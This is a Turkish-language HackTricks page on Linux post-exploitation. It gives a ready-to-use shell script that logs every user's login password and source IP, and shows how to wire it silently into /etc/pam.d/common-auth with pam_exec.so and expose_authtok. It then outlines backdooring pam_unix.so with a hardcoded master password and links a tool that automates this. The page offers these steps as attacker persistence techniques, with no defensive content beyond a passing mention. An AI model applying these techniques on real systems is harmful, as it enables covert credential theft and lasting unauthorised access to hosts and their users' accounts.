Linux Post-Exploitation

Reading time: 3 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

PAM ile Giriş Parolalarını Dinleme

Her kullanıcının giriş yapmak için kullandığı parolayı kaydetmek üzere bir PAM modülü yapılandıralım. PAM'ın ne olduğunu bilmiyorsanız kontrol edin:

PAM - Pluggable Authentication Modules

Daha fazla detay için orijinal gönderiye bakın. Bu sadece bir özet:

Teknik Genel Bakış: Eklentili Kimlik Doğrulama Modülleri (PAM), Unix tabanlı sistemlerde kimlik doğrulama yönetiminde esneklik sunar. Giriş süreçlerini özelleştirerek güvenliği artırabilir, ancak kötüye kullanıldığında riskler de oluşturabilir. Bu özet, PAM kullanarak giriş kimlik bilgilerini yakalama tekniğini ve buna karşı önleme stratejilerini özetlemektedir.

Kimlik Bilgilerini Yakalama:

  • toomanysecrets.sh adlı bir bash betiği, giriş denemelerini kaydetmek için oluşturulmuştur; tarih, kullanıcı adı ($PAM_USER), parola (stdin üzerinden) ve uzak ana bilgisayar IP'si ($PAM_RHOST) /var/log/toomanysecrets.log dosyasına kaydedilir.
  • Betik çalıştırılabilir hale getirilir ve pam_exec.so modülü kullanılarak PAM yapılandırmasına (common-auth) entegre edilir; bu, sessizce çalıştırma ve kimlik doğrulama belirtecini betiğe açma seçenekleri ile yapılır.
  • Bu yaklaşım, ele geçirilmiş bir Linux ana bilgisayarının kimlik bilgilerini gizlice kaydetmek için nasıl istismar edilebileceğini göstermektedir.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

PAM'e Arka Kapı Eklemek

Daha fazla detay için orijinal gönderiye bakın. Bu sadece bir özet:

Eklentili Kimlik Doğrulama Modülü (PAM), Linux altında kullanıcı kimlik doğrulaması için kullanılan bir sistemdir. Üç ana kavram üzerinde çalışır: kullanıcı adı, şifre ve hizmet. Her hizmetin yapılandırma dosyaları /etc/pam.d/ dizininde bulunur; burada paylaşılan kütüphaneler kimlik doğrulamasını yönetir.

Amaç: PAM'i, belirli bir şifre ile kimlik doğrulamasına izin verecek şekilde değiştirmek, gerçek kullanıcı şifresini atlayarak. Bu, şifre doğrulaması için neredeyse tüm hizmetler tarafından dahil edilen common-auth dosyasında kullanılan pam_unix.so paylaşılan kütüphanesine özellikle odaklanmaktadır.

pam_unix.so'yu Değiştirme Adımları:

  1. Kimlik Doğrulama Yönergesini Bulun common-auth dosyasında:
  • Bir kullanıcının şifresini kontrol eden satır pam_unix.so'yu çağırır.
  1. Kaynak Kodunu Değiştirin:
  • pam_unix_auth.c kaynak dosyasında, önceden tanımlanmış bir şifre kullanıldığında erişim izni veren bir koşullu ifade ekleyin, aksi takdirde normal kimlik doğrulama sürecine devam edin.
  1. Derleyin ve Değiştirilmiş pam_unix.so kütüphanesini uygun dizinde değiştirin.
  2. Test:
  • Önceden tanımlanmış şifre ile çeşitli hizmetlere (giriş, ssh, sudo, su, ekran koruyucu) erişim izni verilirken, normal kimlik doğrulama süreçleri etkilenmez.

note

Bu süreci https://github.com/zephrax/linux-pam-backdoor ile otomatikleştirebilirsiniz.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin